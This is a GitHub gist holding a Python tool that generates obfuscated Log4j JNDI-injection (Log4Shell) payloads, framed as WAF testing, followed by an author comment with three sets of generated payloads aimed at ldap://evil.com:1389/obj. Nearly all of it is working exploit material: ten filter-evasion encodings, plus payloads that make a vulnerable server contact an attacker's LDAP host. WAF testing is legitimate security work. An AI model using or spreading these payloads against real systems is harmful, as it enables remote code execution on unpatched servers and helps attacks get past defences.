Skip to content

Instantly share code, notes, and snippets.

@incogbyte
Created September 15, 2025 14:23
Show Gist options
  • Select an option

  • Save incogbyte/ec59002878cc68fbf8b49fd517f6d8e9 to your computer and use it in GitHub Desktop.

Select an option

Save incogbyte/ec59002878cc68fbf8b49fd517f6d8e9 to your computer and use it in GitHub Desktop.
A tool to generate log4j payloads for JNDI injection for testing WAFs.
#!/usr/bin/env python3
"""
A tool to generate log4j payloads for JNDI injection for testing WAFs.
Author: incogbyte
"""
import random
import string
import argparse
import urllib.parse
class Utils:
@staticmethod
def get_random_number(min_val, max_val):
return random.randint(min_val, max_val)
@staticmethod
def get_random_boolean():
return random.randint(0, 100) > 50
@staticmethod
def get_random_string(length):
chars = string.ascii_letters
return ''.join(random.choice(chars) for _ in range(length))
class StringObfuscator1:
def obfuscate_string(self, target_string, is_all=False):
result = []
for i, char in enumerate(target_string):
if char in ['$', '{', '}', ':']:
whether_obfuscate = False
elif is_all:
whether_obfuscate = True
else:
whether_obfuscate = Utils.get_random_boolean()
if whether_obfuscate:
if i == 0:
result.append(self._obfuscate_top_char(char))
else:
result.append(self._obfuscate_char(char))
else:
result.append(char)
return ''.join(result)
def _obfuscate_top_char(self, char):
return f"${{upper:{char}}}"
def _obfuscate_char(self, char):
return f"${{lower:{char}}}"
class StringObfuscator2:
def obfuscate_string(self, target_string, is_all=False):
result = []
for char in target_string:
if char in ['$', '{', '}', ':']:
whether_obfuscate = False
elif is_all:
whether_obfuscate = True
else:
whether_obfuscate = Utils.get_random_boolean()
if whether_obfuscate:
result.append(self._obfuscate_char(char))
else:
result.append(char)
return ''.join(result)
def _obfuscate_char(self, char):
garbage_count = Utils.get_random_number(1, 5)
garbage_parts = []
for _ in range(garbage_count):
garbage_length = Utils.get_random_number(1, 6)
garbage_word = Utils.get_random_string(garbage_length)
garbage_parts.append(garbage_word)
garbage = ':'.join(garbage_parts)
return f"${{{garbage}:-{char}}}"
class StringObfuscator3:
def obfuscate_string(self, target_string, is_all=False):
result = []
for i, char in enumerate(target_string):
if char in ['$', '{', '}', ':']:
whether_obfuscate = False
elif is_all:
whether_obfuscate = True
else:
whether_obfuscate = Utils.get_random_boolean()
if whether_obfuscate:
result.append(self._obfuscate_char(char))
else:
result.append(char)
return ''.join(result)
def _obfuscate_char(self, char):
encoded = urllib.parse.quote(char)
return encoded
class StringObfuscator4:
def obfuscate_string(self, target_string, is_all=False):
result = []
for i, char in enumerate(target_string):
if char in ['$', '{', '}', ':']:
whether_obfuscate = False
elif is_all:
whether_obfuscate = True
else:
whether_obfuscate = Utils.get_random_boolean()
if whether_obfuscate:
result.append(self._obfuscate_char(char))
else:
result.append(char)
return ''.join(result)
def _obfuscate_char(self, char):
unicode_code = ord(char)
return f"\\u{unicode_code:04x}"
class StringObfuscator5:
def obfuscate_string(self, target_string, is_all=False):
if target_string.startswith("jndi:"):
jndi_address = target_string[5:]
else:
jndi_address = target_string
if "://" in jndi_address:
parts = jndi_address.split("://")
if len(parts) == 2:
protocol = parts[0]
rest = parts[1]
if "/" in rest:
domain_path = rest.split("/", 1)
domain = domain_path[0]
path = domain_path[1] if len(domain_path) > 1 else ""
obfuscated = f"jndi:{protocol}://{domain}#google.com/{path}"
return obfuscated
return f"jndi:{jndi_address}"
class StringObfuscator6:
def obfuscate_string(self, target_string, is_all=False):
if target_string.startswith("jndi:"):
jndi_address = target_string[5:]
else:
jndi_address = target_string
json_payload = f'{{\n "one-${{jnd${{a":"a:-i}}:ld${{",\n "two":"o:-a}}}}p://{jndi_address}}}\n}}'
return json_payload
class StringObfuscator7:
def obfuscate_string(self, target_string, is_all=False):
if target_string.startswith("jndi:"):
jndi_address = target_string[5:]
else:
jndi_address = target_string
obfuscated = "${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:" + jndi_address + "}"
return obfuscated
class StringObfuscator8:
def obfuscate_string(self, target_string, is_all=False):
html_encoded = target_string.replace("}", "%7D").replace("{", "%7B").replace("$", "%24")
return f"${{{html_encoded}}}"
class StringObfuscator9:
def obfuscate_string(self, target_string, is_all=False):
if target_string.startswith("jndi:"):
jndi_address = target_string[5:]
else:
jndi_address = target_string
obfuscated = "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:" + jndi_address + "}"
return obfuscated
class StringObfuscator10:
def obfuscate_string(self, target_string, is_all=False):
if target_string.startswith("jndi:"):
jndi_address = target_string[5:]
else:
jndi_address = target_string
obfuscated = "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:" + jndi_address + "}"
return obfuscated
def generate_payloads(jndi_address, use_unicode=False):
tmp_payload = f"jndi:{jndi_address}"
obfuscator1 = StringObfuscator1()
obfuscator2 = StringObfuscator2()
obfuscator3 = StringObfuscator3()
obfuscator4 = StringObfuscator4()
obfuscator5 = StringObfuscator5()
obfuscator6 = StringObfuscator6()
obfuscator7 = StringObfuscator7()
obfuscator8 = StringObfuscator8()
obfuscator9 = StringObfuscator9()
obfuscator10 = StringObfuscator10()
payloads = {}
payloads['raw'] = f"${{{tmp_payload}}}"
payloads['upper_lower_random'] = f"${{{obfuscator1.obfuscate_string(tmp_payload, False)}}}"
payloads['upper_lower_full'] = f"${{{obfuscator1.obfuscate_string(tmp_payload, True)}}}"
payloads['garbage_random'] = f"${{{obfuscator2.obfuscate_string(tmp_payload, False)}}}"
payloads['garbage_full'] = f"${{{obfuscator2.obfuscate_string(tmp_payload, True)}}}"
payloads['urlencode_random'] = f"${{{obfuscator3.obfuscate_string(tmp_payload, False)}}}"
payloads['urlencode_full'] = f"${{{obfuscator3.obfuscate_string(tmp_payload, True)}}}"
payloads['unicode_random'] = f"${{{obfuscator4.obfuscate_string(tmp_payload, False)}}}"
payloads['unicode_full'] = f"${{{obfuscator4.obfuscate_string(tmp_payload, True)}}}"
payloads['url_fragment'] = f"${{{obfuscator5.obfuscate_string(tmp_payload)}}}"
payloads['polymorphic_json'] = obfuscator6.obfuscate_string(tmp_payload)
payloads['nonexistent_lookup'] = obfuscator7.obfuscate_string(tmp_payload)
payloads['html_url_encoding'] = obfuscator8.obfuscate_string(tmp_payload)
payloads['date_based'] = obfuscator9.obfuscate_string(tmp_payload)
payloads['colon_dash_notation'] = obfuscator10.obfuscate_string(tmp_payload)
if use_unicode:
unicode_payloads = {}
for key, payload in payloads.items():
unicode_payloads[key] = payload.encode('unicode_escape').decode('ascii')
return unicode_payloads
return payloads
def main():
parser = argparse.ArgumentParser(description='Log4j Payload Generator for WAF testing')
parser.add_argument('--jndi', '-j',
default='ldap://127.0.0.1:1099/obj',
help='JNDI address (default: ldap://127.0.0.1:1099/obj)')
parser.add_argument('--count', '-c', type=int, default=1,
help='Number of payloads of each type to generate (default: 1)')
parser.add_argument('--output', '-o', choices=['console', 'file'], default='console',
help='Output: console or file (default: console)')
parser.add_argument('--filename', '-f', default='log4j_payloads.txt',
help='Output filename (default: log4j_payloads.txt)')
parser.add_argument('--unicode', '-u', action='store_true',
help='Output payloads in Unicode escape format')
args = parser.parse_args()
all_payloads = []
for i in range(args.count):
print(f"\n=== Payload Set #{i+1} ===")
payloads = generate_payloads(args.jndi, args.unicode)
for payload_type, payload in payloads.items():
description = {
'raw': 'Raw Payload',
'upper_lower_random': '{upper|lower:x} Random Obfuscation',
'upper_lower_full': '{upper|lower:x} Full Obfuscation',
'garbage_random': '{::-n} Random Obfuscation',
'garbage_full': '{::-n} Full Obfuscation',
'urlencode_random': 'URL Encoding Random Obfuscation',
'urlencode_full': 'URL Encoding Full Obfuscation',
'unicode_random': 'Unicode Encoding Random Obfuscation',
'unicode_full': 'Unicode Encoding Full Obfuscation',
'url_fragment': 'URL Fragment Technique',
'polymorphic_json': 'Polymorphic JSON REST API Request',
'nonexistent_lookup': 'Non-existent Lookup',
'html_url_encoding': 'HTML URL Encoding',
'date_based': 'Date-based Technique',
'colon_dash_notation': ':- Notation Technique'
}
print(f"\n{description[payload_type]}:")
print(payload)
all_payloads.append(f"# {description[payload_type]}")
all_payloads.append(payload)
all_payloads.append("")
if args.output == 'file':
with open(args.filename, 'w', encoding='utf-8') as f:
f.write('\n'.join(all_payloads))
print(f"\nPayloads saved to: {args.filename}")
if __name__ == "__main__":
main()
@incogbyte
Copy link
Author

USAGE: python3 log4j_payload_generator.py --jndi "ldap://evil.com:1389/obj" --count 3

=== Payload Set #1 ===

Raw Payload:
${jndi:ldap://evil.com:1389/obj}

{upper|lower:x} Random Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:lda${lower:p}:${lower:/}${lower:/}${lower:e}v${lower:i}l.${lower:c}${lower:o}${lower:m}:1${lower:3}${lower:8}9${lower:/}o${lower:b}j}

{upper|lower:x} Full Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}:${lower:/}${lower:/}${lower:e}${lower:v}${lower:i}${lower:l}${lower:.}${lower:c}${lower:o}${lower:m}:${lower:1}${lower:3}${lower:8}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}

{::-n} Random Obfuscation:
${${itqjl:TC:XnUh:tpOsnl:-j}n${E:-d}${O:IiZ:-i}:ldap://${JHJD:VfiK:lnc:eCmJXO:-e}vil${J:vN:Sikgkv:-.}co${tjaLg:WQf:-m}:138${GW:G:ziJG:-9}/${ivY:biMhG:OdQceF:gMMdhI:HKlilY:-o}${WLY:sOi:sah:vx:-b}j}

{::-n} Full Obfuscation:
${${h:GJb:btfgC:-j}${Ye:NRFnGZ:jm:WYTSp:-n}${RnkCt:-d}${hNOB:-i}:${EKE:nFMdkV:-l}${B:oEfVv:Ysv:-d}${vXFq:KWK:-a}${Cc:i:bFV:ACY:-p}:${rGYNK:KXgG:TkLkm:R:MJ:-/}${GMYTpH:E:wa:-/}${lr:-e}${AEf:-v}${qWF:OPrIgB:olaIaJ:-i}${FraI:op:BVujH:rQGdL:-l}${cJtmvm:-.}${luQlCj:XvZIfP:OQnk:-c}${bD:-o}${jZllSW:fKQfL:-m}:${kqWfjb:eLBkd:LsCD:hAhEU:VDq:-1}${h:-3}${zSyL:TfQa:xyRxE:-8}${th:ZJbPbE:-9}${ZbAZSn:kbbg:P:ptqcY:uTIzwf:-/}${rDAxGS:jtUIdP:OhwF:-o}${G:-b}${olGl:Q:hiyfE:JhNdjc:-j}}

URL Encoding Random Obfuscation:
${jndi:ldap://evil.com:1389/obj}

URL Encoding Full Obfuscation:
${jndi:ldap://evil.com:1389/obj}

Unicode Encoding Random Obfuscation:
${\u006a\u006e\u0064\u0069:l\u0064a\u0070:/\u002fe\u0076i\u006c.com:\u0031\u00338\u0039\u002f\u006fb\u006a}

Unicode Encoding Full Obfuscation:
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070:\u002f\u002f\u0065\u0076\u0069\u006c\u002e\u0063\u006f\u006d:\u0031\u0033\u0038\u0039\u002f\u006f\u0062\u006a}

URL Fragment Technique:
${jndi:ldap://evil.com:1389#google.com/obj}

Polymorphic JSON REST API Request:
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}}p://ldap://evil.com:1389/obj}
}

Non-existent Lookup:
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://evil.com:1389/obj}

HTML URL Encoding:
${jndi:ldap://evil.com:1389/obj}

Date-based Technique:
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://evil.com:1389/obj}

:- Notation Technique:
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://evil.com:1389/obj}

=== Payload Set #2 ===

Raw Payload:
${jndi:ldap://evil.com:1389/obj}

{upper|lower:x} Random Obfuscation:
${${upper:j}${lower:n}di:${lower:l}${lower:d}${lower:a}${lower:p}:/${lower:/}${lower:e}${lower:v}i${lower:l}.${lower:c}${lower:o}${lower:m}:${lower:1}3${lower:8}${lower:9}/${lower:o}b${lower:j}}

{upper|lower:x} Full Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}:${lower:/}${lower:/}${lower:e}${lower:v}${lower:i}${lower:l}${lower:.}${lower:c}${lower:o}${lower:m}:${lower:1}${lower:3}${lower:8}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}

{::-n} Random Obfuscation:
${${mZ:-j}n${Rhsk:ZIQ:sAcIoG:tDwynD:bz:-d}${v:Lyy:-i}:${Ahj:BKhd:-l}d${wiepCC:-a}p:${RBlWs:Zdbt:Gl:rm:-/}${IAlUeq:kkO:Zt:XK:-/}e${mv:V:YggJ:uHh:-v}i${dKrAMN:M:SW:-l}${lwYM:YDh:PeqWwk:Mj:WlJEx:-.}${IfSRwJ:EkbQ:WfxPLt:QCwkA:-c}${Vb:-o}m:${xhW:IvN:qxJzQw:-1}38${hVBDw:-9}/ob${FZD:JNRVj:CmZel:G:-j}}

{::-n} Full Obfuscation:
${${bJMwk:Tp:vithmA:mggEH:z:-j}${za:n:-n}${Q:-d}${V:lmUN:P:Q:-i}:${hJsLZ:XVRC:G:bqjGSx:-l}${zrTc:EUOV:MHja:CTM:-d}${J:wIcEj:-a}${xHquoV:bVuWWj:sdcFKD:A:-p}:${qzPtf:ixfHxQ:NO:-/}${nnAXNg:Ysk:DHgt:R:-/}${R:tIRWQ:-e}${taJ:-v}${w:qvTtR:yhuBfV:Dnl:DRj:-i}${n:oRzA:-l}${VVxTz:OTlqlF:Dph:iVxQb:-.}${xyu:kGMI:Qjvlwq:KD:-c}${XY:VBBh:YHbX:Tr:-o}${Fk:-m}:${Y:-1}${jf:I:n:-3}${V:jRs:Ofy:WEK:-8}${Too:-9}${UYOXI:wBOja:Bugexl:-/}${S:-o}${EiDFOu:D:OxqTrO:ENXuS:-b}${pjjMeg:-j}}

URL Encoding Random Obfuscation:
${jndi:ldap://evil.com:1389/obj}

URL Encoding Full Obfuscation:
${jndi:ldap://evil.com:1389/obj}

Unicode Encoding Random Obfuscation:
${jndi:\u006cdap:/\u002fevi\u006c\u002eco\u006d:1\u0033\u0038\u0039\u002f\u006fbj}

Unicode Encoding Full Obfuscation:
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070:\u002f\u002f\u0065\u0076\u0069\u006c\u002e\u0063\u006f\u006d:\u0031\u0033\u0038\u0039\u002f\u006f\u0062\u006a}

URL Fragment Technique:
${jndi:ldap://evil.com:1389#google.com/obj}

Polymorphic JSON REST API Request:
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}}p://ldap://evil.com:1389/obj}
}

Non-existent Lookup:
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://evil.com:1389/obj}

HTML URL Encoding:
${jndi:ldap://evil.com:1389/obj}

Date-based Technique:
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://evil.com:1389/obj}

:- Notation Technique:
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://evil.com:1389/obj}

=== Payload Set #3 ===

Raw Payload:
${jndi:ldap://evil.com:1389/obj}

{upper|lower:x} Random Obfuscation:
${${upper:j}n${lower:d}${lower:i}:ldap:${lower:/}${lower:/}${lower:e}${lower:v}il.${lower:c}${lower:o}m:13${lower:8}9${lower:/}o${lower:b}j}

{upper|lower:x} Full Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}:${lower:/}${lower:/}${lower:e}${lower:v}${lower:i}${lower:l}${lower:.}${lower:c}${lower:o}${lower:m}:${lower:1}${lower:3}${lower:8}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}

{::-n} Random Obfuscation:
${j${OtDuL:Ez:qryADq:js:unWe:-n}${SbblJe:oCHzx:Jj:G:-d}i:${ULoA:-l}${rc:YPoJ:ENuUq:Gl:-d}ap:${uBg:qxgyEq:fFS:-/}/ev${fnU:MXCe:Xu:-i}l.co${sZ:VRPYw:-m}:${zGaOxm:-1}389${AcPO:cPQe:P:-/}${lXr:uMfdaS:jPsHph:ZrQ:-o}b${QxtLkd:-j}}

{::-n} Full Obfuscation:
${${MVaqB:m:-j}${pJwZ:rG:ekTXs:VQQUGW:-n}${v:hx:oewH:P:wdGRL:-d}${YZbI:-i}:${Hdoo:Y:zqbIb:mUujyh:PFFn:-l}${xx:G:-d}${NxEq:GnmJ:a:lK:jIez:-a}${oSy:zXD:-p}:${xAUjcy:-/}${nIJNn:IiLE:-/}${Ij:-e}${WAUlGG:-v}${a:-i}${LXSbD:RJwB:BN:uutOZ:-l}${M:UI:a:tIaOC:nZU:-.}${FazyIB:oY:-c}${GUYxfT:qPX:heJFJ:ysm:kqQ:-o}${uZE:IjUz:HmR:epYzH:ivzuU:-m}:${d:q:noS:b:DkrOak:-1}${b:-3}${mNRu:-8}${VA:qr:-9}${C:v:-/}${M:igG:agAAx:-o}${weLO:Ecna:HEAWUi:ZxJrrV:Wb:-b}${JniMy:re:mqbOvJ:eNyTf:pgzDMJ:-j}}

URL Encoding Random Obfuscation:
${jndi:ldap://evil.com:1389/obj}

URL Encoding Full Obfuscation:
${jndi:ldap://evil.com:1389/obj}

Unicode Encoding Random Obfuscation:
${j\u006e\u0064i:l\u0064ap:/\u002fe\u0076il\u002eco\u006d:\u003138\u0039\u002f\u006fb\u006a}

Unicode Encoding Full Obfuscation:
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070:\u002f\u002f\u0065\u0076\u0069\u006c\u002e\u0063\u006f\u006d:\u0031\u0033\u0038\u0039\u002f\u006f\u0062\u006a}

URL Fragment Technique:
${jndi:ldap://evil.com:1389#google.com/obj}

Polymorphic JSON REST API Request:
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}}p://ldap://evil.com:1389/obj}
}

Non-existent Lookup:
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://evil.com:1389/obj}

HTML URL Encoding:
${jndi:ldap://evil.com:1389/obj}

Date-based Technique:
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://evil.com:1389/obj}

:- Notation Technique:
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://evil.com:1389/obj}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment